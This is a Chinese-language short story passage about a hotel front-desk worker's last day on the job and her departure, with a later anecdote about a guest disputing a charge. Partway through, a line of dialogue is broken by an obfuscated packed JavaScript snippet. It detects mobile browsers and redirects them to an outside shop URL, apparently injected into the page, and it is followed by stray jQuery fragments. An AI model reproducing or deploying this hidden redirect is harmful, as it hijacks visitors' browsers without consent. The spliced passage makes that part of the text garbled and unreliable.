上午九点，林深下班。夜班结束以后，大厅已经彻底醒了——早餐厅坐满客人，行李箱轮子压过地面，门童正在帮人叫车。Tom站在前台接电话，Jessica低头看报表，前台同事正在给客人开发票。和平时没什么区别。
林深写完交班记录，关掉系统。Tom抬头看了她一眼。
“办手续去？”
“嗯。”
Tom点点头。
“行。”
电话又响了。Tom低头接起来。
“前台您好。”
林深站起来，往员工通道走。
B1更衣室很安静。白班的人已经上去了，夜班的人陆陆续续在换衣服。林深打开储物柜，里面东西不多——一个水杯，一把伞，几包纸巾，还有一件备用外套。她一样一样拿出来，装进袋子里。柜门关上的时候，发出轻轻一声。林深站在那里看了一会儿，然后脱下工服，换回自己的衣服。镜子里的人忽然有点陌生。
工服叠好，拿去制服间。制服间阿姨正在整理刚送来的衣服，看见有人过来，头也没抬。
“放这里。”
林深把工服放下。阿姨低头登记。
“今天不洗了？”
林深笑了一下。
“不了。”
“怎么了？”
“今天离职。”
阿姨手里的笔停了一下，抬头看她。
“哦。”
停了两秒。
“挺好。”
然后继续低头登记。
“以后不用熬夜了。”
“嗯。”
“去吧。”
“好。”
林深转身离开。
人事办公室也在B1，门开着，里面坐着两个人，桌上堆满文件。人事看见她进来，翻出准备好的资料。
“来了？”
“嗯。”
“签字吧。”
流程很快。确认离职日期，确认工资，确认社保，确认档案，一页接着一页。签完最后一张，人事把离职证明递给她。
“新工作找好了？”
“找好了。”
“做什么？”
“还没。”
人事点点头。
“哦。”
然后把文件收进档案袋。每天都有人离职，每天也都有人入职，这只是工作的一部分。
办完手续出来的时候，已经快十点。林深站在走廊里，低头看手机。微信消息很多——前厅群，夜班群，值班经理群，活动群，通知群。她点进去，一个一个退出。手机不断弹出提示：已退出群聊。已退出群聊。已退出群聊。最后一个群退完以后，手机忽然安静下来，什么都没有了。林深站在那里看了一会儿，把手机收进口袋。
回去会经过大厅。她没有急着走，只是慢慢走过去。电梯门打开，熟悉的大堂出现在眼前——水晶灯，香氛，行李车，来来往往的客人。和她第一天来这里的时候一样。
林深走到前厅部。Jessica最先看见她，冲她挥了挥手。
“办完了？”
“办完了。”
“挺好。”
“嗯。”
Jessica继续低头回邮件。Tom刚挂断电话，抬头看了她一眼。
“结束了？”
“结束了。”
Tom点点头。
“以后别熬夜了。”
“你也是。”
Tom笑了一下。
“我没得选。”
两个人都笑了。电话又响了，Tom低头接起来。
“前台
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17957454|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
您好。”
林深站在那里看了一会儿。大厅还是那个大厅，前台还是那个前台。投诉还会继续投诉，实习生会转正，新人会进来，酒店会一直营业。只是以后和她没关系了。
她转身往门口走。自动门缓缓打开，阳光照进来，外面很亮。
下午两点，林深回到家。钥匙刚转动，客厅里立刻响起爪子跑动的声音。来福从里面冲出来，尾巴摇得飞快。林深蹲下去，来福直接扑进她怀里。她抱着来福坐在门口，很久没动。阳光从阳台照进来，客厅安安静静。没有电话，没有投诉，没有交班，也没有夜班。
后来Tom提起过那天。迈巴赫还是回来了，和所有人猜的一样——他拒绝支付续住房费，理由也和所有人猜的一样。
“我没住。”
Tom问他。
“那您为什么续住？”
客人说。
“我后来没回来。”
Tom说。
“但房间给您保留了。”
客人说。
“可我没住。”
Tom说。
“您的行李一直在房间。”
客人说。
“可我没住。”
两个人来来回回说了很久。最后，迈巴赫还是付了钱。临走的时候，他拉着行李箱走到门口，忽然回头。
“下次还来。”
Tom站在前台看着他，沉默了两秒，然后说。
“欢迎。”
后来Tom把这件事发在群里。下面很快有人回复——Jason发了三个笑哭的表情，Jessica发了一个问号，Helen回了一句“冤家路窄”。Tom看着手机，回了一句“我就知道”。
那个时候，林深已经不在群里了，是Helen后来和她讲的。